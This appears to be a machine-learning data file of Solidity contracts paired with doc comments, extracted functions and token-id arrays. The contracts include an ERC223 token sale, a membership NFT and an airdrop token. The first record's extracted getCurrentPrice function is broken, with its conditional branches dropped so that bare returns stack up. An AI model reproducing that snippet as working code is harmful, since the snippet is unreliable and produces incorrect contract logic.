// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
Transfer(msg.sender, to, value); // ERC20 transfer event
Transfer(msg.sender, to, value, data); // ERC223 transfer event
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address to, uint256 value) onlyPayloadSize(2 * 32) public returns (bool) {
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
bytes memory empty;
receiver.tokenFallback(msg.sender, value, empty);
}
Transfer(msg.sender, to, value); // ERC20 transfer event
return true;
}
}
// File: contracts/DogRacingToken.sol
/**
* DogRacing Token
*/
contract DogRacingToken is ERC223BasicToken {
using SafeMath for uint256;
string constant public name = "Dog Racing";
string constant public symbol = "DGR";
uint8 constant public decimals = 3;
uint256 constant public totalSupply = 326250000 * 1000; // Supply is in the smallest units
address public owner; // owner address
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function DogRacingToken() public {
owner = msg.sender;
balances[owner] = totalSupply; // All tokens are assigned to the owner
}
// Owner may burn own tokens
function burnTokens(uint256 amount) onlyOwner external {
balances[owner] = balances[owner].sub(amount);
}
}
// File: contracts/DogRacingCrowdsale.sol
/**
* DogRacing Crowdsale
*/
contract DogRacingCrowdsale {
using SafeMath for uint256;
DogRacingToken public token; // Token contract address
uint256 public stage1_start; // Crowdsale timing
uint256 public stage2_start;
uint256 public stage3_start;
uint256 public stage4_start;
uint256 public crowdsale_end;
uint256 public stage1_price; // Prices in token millis / ETH
uint256 public stage2_price;
uint256 public stage3_price;
uint256 public stage4_price;
uint256 public hard_cap_wei; // Crowdsale hard cap in wei
address public owner; // Owner address
uint256 public wei_raised; // Total Wei raised by crowdsale
event TokenPurchase(address buyer, uint256 weiAmount, uint256 tokensAmount);
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier withinCrowdsaleTime {
require(now >= stage1_start && now < crowdsale_end);
_;
}
modifier afterCrowdsale {
require(now >= crowdsale_end);
_;
}
modifier withinCap {
require(wei_raised < hard_cap_wei);
_;
}
// Constructor
function DogRacingCrowdsale(DogRacingToken _token,
uint256 _stage1_start, uint256 _stage2_start, uint256 _stage3_start, uint256 _stage4_start, uint256 _crowdsale_end,
uint256 _stage1_price, uint256 _stage2_price, uint256 _stage3_price, uint256 _stage4_price,
uint256 _hard_cap_wei) public {
require(_stage1_start > now);
require(_stage2_start > _stage1_start);
require(_stage3_start > _stage2_start);
require(_stage4_start > _stage3_start);
require(_crowdsale_end > _stage4_start);
require(_stage1_price > 0);
require(_stage2_price < _stage1_price);
require(_stage3_price < _stage2_price);
require(_stage4_price < _stage3_price);
require(_hard_cap_wei > 0);
require(_token != address(0));
owner = msg.sender;
token = _token;
stage1_start = _stage1_start;
stage2_start = _stage2_start;
stage3_start = _stage3_start;
stage4_start = _stage4_start;
crowdsale_end = _crowdsale_end;
stage1_price = _stage1_price;
stage2_price = _stage2_price;
stage3_price = _stage3_price;
stage4_price = _stage4_price;
hard_cap_wei = _hard_cap_wei;
}
// get current price in token millis / ETH
function getCurrentPrice() public view withinCrowdsaleTime returns (uint256) {
if (now < stage2_start) {
return stage1_price;
} else if (now < stage3_start) {
return stage2_price;
} else if (now < stage4_start) {
return stage3_price;
} else {
return stage4_price;
}
}
// get amount in token millis for amount in wei
function getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
uint256 price = getCurrentPrice();
return weiAmount.mul(price).div(1 ether);
}
// fallback function
function () external payable {
buyTokens(msg.sender);
}
// tokens fallback function
function tokenFallback(address, uint256, bytes) external pure {
}
// tokens purchase
function buyTokens(address beneficiary) public withinCrowdsaleTime withinCap payable {
uint256 wei_amount = msg.value;
require(beneficiary != address(0));
require(wei_amount != 0);
// calculate token amount to be sold
uint256 tokens = getTokenAmount(wei_amount);
// update state
wei_raised = wei_raised.add(wei_amount);
require(wei_raised <= hard_cap_wei);
// deliver tokens
token.transfer(beneficiary, tokens);
TokenPurchase(beneficiary, wei_amount, tokens);
// deliver ether
owner.transfer(msg.value);
}
// Remaining tokens withdrawal
function withdrawTokens() external onlyOwner afterCrowdsale {
uint256 tokens_remaining = token.balanceOf(address(this));
token.transfer(owner, tokens_remaining);
}
} | get current price in token millis / ETH | function getCurrentPrice() public view withinCrowdsaleTime returns (uint256) {
if (now < stage2_start) {
return stage1_price;
return stage2_price;
return stage3_price;
return stage4_price;
}
}
| 12,548,793 | [
1,
588,
783,
6205,
316,
1147,
14833,
342,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
5175,
5147,
1435,
1071,
1476,
3470,
39,
492,
2377,
5349,
950,
1135,
261,
11890,
5034,
13,
288,
203,
282,
202,
430,
261,
3338,
411,
6009,
22,
67,
1937,
13,
288,
203,
21114,
202,
2463,
6009,
21,
67,
8694,
31,
203,
21114,
202,
2463,
6009,
22,
67,
8694,
31,
203,
21114,
202,
2463,
6009,
23,
67,
8694,
31,
203,
21114,
202,
2463,
6009,
24,
67,
8694,
31,
203,
282,
202,
97,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xee415688D294C2956B5d5e4220db281DB2cF4076/sources/browser/Arbitrage22.sol | contract Whitelist {/ | abstract contract UniswapFactory {
function getExchange(address tokenAddress) public view virtual returns(address);
}
| 3,179,567 | [
1,
16351,
3497,
7523,
288,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
1351,
291,
91,
438,
1733,
288,
203,
565,
445,
336,
11688,
12,
2867,
1147,
1887,
13,
1071,
1476,
5024,
1135,
12,
2867,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.10;
import {StringsUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {ERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import {IERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol";
import {CountersUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import {FWBMembershipSkeletonNFT} from "./FWBMembershipSkeletonNFT.sol";
import {EIP712Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import {SignatureCheckerUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/SignatureCheckerUpgradeable.sol";
import {AccessControlUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
// FWB Core membership contract (Updatable)
contract FWBMembershipNFT is
OwnableUpgradeable,
FWBMembershipSkeletonNFT,
EIP712Upgradeable,
AccessControlUpgradeable,
UUPSUpgradeable
{
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 public constant NFT_MANAGER_ROLE = keccak256("NFT_MANAGER_ROLE");
/// @notice URLBase for metadata
string public urlBase;
/// @notice Upgradeable init fn
function initialize(string memory _urlBase, address admin)
public
initializer
{
__EIP712_init("FWBMembershipNFT", "1");
__UUPSUpgradeable_init();
__ERC165_init();
__AccessControl_init();
_grantRole(AccessControlUpgradeable.DEFAULT_ADMIN_ROLE, admin);
urlBase = _urlBase;
}
/**
Admin permission functions and modifiers
*/
/// @notice UUPS admin upgrade permission fn
function _authorizeUpgrade(address newImplementation)
internal
override
onlyRole(DEFAULT_ADMIN_ROLE)
{
// only owner/admin can upgrade contract
}
/**
URI Management tools
*/
/// @notice admin function to update base uri
function updateUrlBase(string memory newUrlBase)
external
onlyRole(NFT_MANAGER_ROLE)
{
urlBase = newUrlBase;
}
/// @notice Getter for url server nft base
function tokenURI(uint256 id) external view returns (string memory) {
require(_exists(id), "ERC721: Token does not exist");
return
string(abi.encodePacked(urlBase, StringsUpgradeable.toString(id)));
}
/// @notice Admin function to revoke membership for user
function adminRevokeMemberships(uint256[] memory ids)
external
onlyRole(NFT_MANAGER_ROLE)
{
for (uint256 i = 0; i < ids.length; i++) {
_burn(ids[i]);
}
}
function burn(uint256 id) external {
require(msg.sender == ownerOf(id), "NFT Burn: needs to be owner");
_burn(id);
}
/// @notice Admin function to transfer a wallet to a new NFT address
function transferFrom(
address from,
address to,
uint256 checkTokenId
) external override onlyRole(NFT_MANAGER_ROLE) {
uint256 tokenId = addressToId[from];
require(checkTokenId == tokenId, "ERR: Token ID mismatch");
_transferFrom(from, to, tokenId);
}
/// Mint mew membership from the manager role
function adminMint(address to, uint256 id)
external
onlyRole(NFT_MANAGER_ROLE)
{
_safeMint(to, id);
}
/// @notice list of used signature nonces
mapping(uint256 => bool) public usedNonces;
/// @notice modifier for valid nonce with signature-based call
modifier withValidNonceAndDeadline(uint256 nonce, uint256 deadline) {
require(block.timestamp <= deadline, "Deadline time passed");
require(!usedNonces[nonce], "nonce used");
usedNonces[nonce] = true;
_;
}
modifier needsRole(bytes32 role, address account) {
_checkRole(role, account);
_;
}
/// @notice signature permitted mint function typehash
bytes32 private immutable _PERMIT_MINT_TYPEHASH =
keccak256(
"PermitMint(address signer,address to,uint256 tokenId,uint256 deadline,uint256 nonce)"
);
/// @notice Mint with signed message data
function mintWithSign(
address signer,
address to,
uint256 tokenId,
uint256 deadline,
uint256 nonce,
bytes memory signature
)
external
withValidNonceAndDeadline(nonce, deadline)
needsRole(SIGNER_ROLE, signer)
{
// We allow any user to execute a signature to mint the NFt.
require(to == msg.sender, "Needs to be receiving wallet");
require(
SignatureCheckerUpgradeable.isValidSignatureNow(
// signer is the signer
signer,
_hashTypedDataV4(
keccak256(
abi.encode(
_PERMIT_MINT_TYPEHASH,
signer,
to,
tokenId,
deadline,
nonce
)
)
),
signature
),
"NFTPermit::mintWithSign: Invalid signature"
);
_safeMint(to, tokenId);
}
bytes32 private immutable _PERMIT_TRANSFER_TYPEHASH =
keccak256(
"PermitTransfer(address signer,address from,address to,uint256 tokenId,uint256 deadline,uint256 nonce)"
);
/// @notice Transfer with signed message data
function transferWithSign(
address signer,
address from,
address to,
uint256 tokenId,
uint256 deadline,
uint256 nonce,
bytes memory signature
)
external
withValidNonceAndDeadline(nonce, deadline)
needsRole(SIGNER_ROLE, signer)
{
require(to == msg.sender, "Needs to be receiving wallet");
require(
SignatureCheckerUpgradeable.isValidSignatureNow(
signer,
_hashTypedDataV4(
keccak256(
abi.encode(
_PERMIT_TRANSFER_TYPEHASH,
signer,
from,
to,
tokenId,
deadline,
nonce
)
)
),
signature
),
"NFTPermit::transferWithSign: Invalid signature"
);
_transferFrom(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(FWBMembershipSkeletonNFT, AccessControlUpgradeable)
returns (bool)
{
return
FWBMembershipSkeletonNFT.supportsInterface(interfaceId) ||
AccessControlUpgradeable.supportsInterface(interfaceId);
}
}
| @notice Mint with signed message data We allow any user to execute a signature to mint the NFt. signer is the signer | function mintWithSign(
address signer,
address to,
uint256 tokenId,
uint256 deadline,
uint256 nonce,
bytes memory signature
)
external
withValidNonceAndDeadline(nonce, deadline)
needsRole(SIGNER_ROLE, signer)
{
require(to == msg.sender, "Needs to be receiving wallet");
require(
SignatureCheckerUpgradeable.isValidSignatureNow(
signer,
_hashTypedDataV4(
keccak256(
abi.encode(
_PERMIT_MINT_TYPEHASH,
signer,
to,
tokenId,
deadline,
nonce
)
)
),
signature
),
"NFTPermit::mintWithSign: Invalid signature"
);
_safeMint(to, tokenId);
}
bytes32 private immutable _PERMIT_TRANSFER_TYPEHASH =
keccak256(
"PermitTransfer(address signer,address from,address to,uint256 tokenId,uint256 deadline,uint256 nonce)"
);
| 965,069 | [
1,
49,
474,
598,
6726,
883,
501,
1660,
1699,
1281,
729,
358,
1836,
279,
3372,
358,
312,
474,
326,
423,
42,
88,
18,
10363,
353,
326,
10363,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
1190,
2766,
12,
203,
3639,
1758,
10363,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
2254,
5034,
14096,
16,
203,
3639,
2254,
5034,
7448,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
203,
3639,
3903,
203,
3639,
598,
1556,
13611,
1876,
15839,
12,
12824,
16,
14096,
13,
203,
3639,
4260,
2996,
12,
11260,
654,
67,
16256,
16,
10363,
13,
203,
565,
288,
203,
3639,
2583,
12,
869,
422,
1234,
18,
15330,
16,
315,
26419,
358,
506,
15847,
9230,
8863,
203,
203,
3639,
2583,
12,
203,
5411,
9249,
8847,
10784,
429,
18,
26810,
5374,
8674,
12,
203,
7734,
10363,
16,
203,
7734,
389,
2816,
11985,
751,
58,
24,
12,
203,
10792,
417,
24410,
581,
5034,
12,
203,
13491,
24126,
18,
3015,
12,
203,
18701,
389,
3194,
6068,
67,
49,
3217,
67,
2399,
15920,
16,
203,
18701,
10363,
16,
203,
18701,
358,
16,
203,
18701,
1147,
548,
16,
203,
18701,
14096,
16,
203,
18701,
7448,
203,
13491,
262,
203,
10792,
262,
203,
7734,
262,
16,
203,
7734,
3372,
203,
5411,
262,
16,
203,
5411,
315,
50,
4464,
9123,
305,
2866,
81,
474,
1190,
2766,
30,
1962,
3372,
6,
203,
3639,
11272,
203,
203,
3639,
389,
4626,
49,
474,
12,
869,
16,
1147,
548,
1769,
203,
565,
289,
203,
203,
565,
1731,
1578,
3238,
11732,
389,
3194,
6068,
67,
16596,
6553,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
315,
9123,
305,
5912,
12,
2867,
10363,
16,
2867,
628,
16,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
* @dev For details, read the README.md file in the Github repo @ https://github.com/Curiosity-DAO/Curiosity-DAO/blob/main/README.md
*/
// Setup
import "./setup.sol";
// set a hard cap on number of tokens
uint constant initialSupply = 5000000 ether; // 5 million tokens
// tokens to be airdropped to DAO members
uint constant dropSupply = 1500000 ether; // 1.5 million
// the rest to be sent to the DAO
uint constant remainder = initialSupply - dropSupply; // 3.5 million
// number of drops
uint8 constant drops = 30; // current number of CC readers
// size of each drop
uint constant dropSize = dropSupply / drops; // 50,000 tokens per reader
/**
* @title Curiosity
* @author Lucas Walters - https://www.github.com/theLucasWalters
*/
contract Curiosity is ERC20, Ownable {
/// mapping to assign a bool value to an address; used to check if the address has already claimed a drop
mapping (address => bool) alreadyClaimed;
/// number of tokens left to be minted; starts at 1.5 million
uint internal _tokensLeft = dropSupply;
/// number of drops left
uint8 internal _drops = drops;
/// Event to broadcast that an airdrop has been claimed
event dropClaimed(address receiver, uint amount);
/// Event to broadcast that new tokens have been minted
event newMinted(address receiver, uint amount);
/// DAO Treasury address
address private immutable _daoTreasury = 0x65a0021268Bd6c021dFfe781990f6885c8D2C72B; // burner address; will probably change later
/// Name of the token is Curiosity (same as the DAO) and the symbol is CC
constructor() ERC20("Curiosity", "CC") {
/// Mint tokens not reserved for the drop to the DAO
_mint(_daoTreasury, remainder);
/// broadcast that new tokens have been minted
emit newMinted(_daoTreasury, remainder);
}
modifier onlyOnce {
require(!alreadyClaimed[msg.sender]);
_;
}
/// Airdrop mechanism
function claim() public onlyOnce {
/// immediately set `alreadyClaimed` to true to avoid bot attacks
alreadyClaimed[msg.sender] = true;
/// mint to the address calling
_mint(msg.sender, dropSize);
/// emit `newMinted` event
emit newMinted(msg.sender, dropSize);
/// subtract amount minted from the tokens left and lower number of drops left by 1
_tokensLeft -= dropSize;
_drops--;
/// emit a `dropClaimed` event
emit dropClaimed(msg.sender, dropSize);
}
/// Allows DAO to mint new tokens
function mintNew(uint amount) external onlyOwner {
/// mint to the DAO Treasury
_mint(_daoTreasury, amount);
/// broadcast that new tokens have been minted
emit newMinted(_daoTreasury, amount);
}
/**
* @return the address of the DAO Treasury
*/
function getDaoAddress() external view returns (address) {
return _daoTreasury;
}
/**
* @return number of tokens left to mint
*/
function remainingTokens() external view returns (uint) {
return _tokensLeft;
}
/**
* @return number of airdrops left
*/
function remainingDrops() external view returns (uint8) {
return _drops;
}
/**
* @return if an address has already claimed an airdrop
*/
function hasClaimed(address account) external view returns (bool) {
return alreadyClaimed[account];
}
}
| Allows DAO to mint new tokens | function mintNew(uint amount) external onlyOwner {
_mint(_daoTreasury, amount);
emit newMinted(_daoTreasury, amount);
| 5,529,884 | [
1,
19132,
463,
20463,
358,
312,
474,
394,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
1908,
12,
11890,
3844,
13,
3903,
1338,
5541,
288,
203,
203,
3639,
389,
81,
474,
24899,
2414,
83,
56,
266,
345,
22498,
16,
3844,
1769,
203,
203,
3639,
3626,
394,
49,
474,
329,
24899,
2414,
83,
56,
266,
345,
22498,
16,
3844,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/* Internal Imports */
import { ExecutionManager } from "./ExecutionManager.sol";
/**
* @title L2ExecutionManager
* @notice This extension of ExecutionManager that should only run in L2 because it has optimistic execution details
* that are unnecessary and inefficient to run in L1.
*/
contract L2ExecutionManager is ExecutionManager {
/*
* Contract Variables
*/
mapping(bytes32 => bytes32) ovmHashToEvmHash;
mapping(bytes32 => bytes32) evmHashToOvmHash;
mapping(bytes32 => bytes) ovmHashToOvmTx;
/*
* Constructor
*/
constructor(
uint256 _opcodeWhitelistMask,
address _owner,
uint _gasLimit,
bool _overrideSafetyChecker
) ExecutionManager(
_opcodeWhitelistMask,
_owner,
_gasLimit,
_overrideSafetyChecker
) public {}
/*
* Public Functions
*/
/**
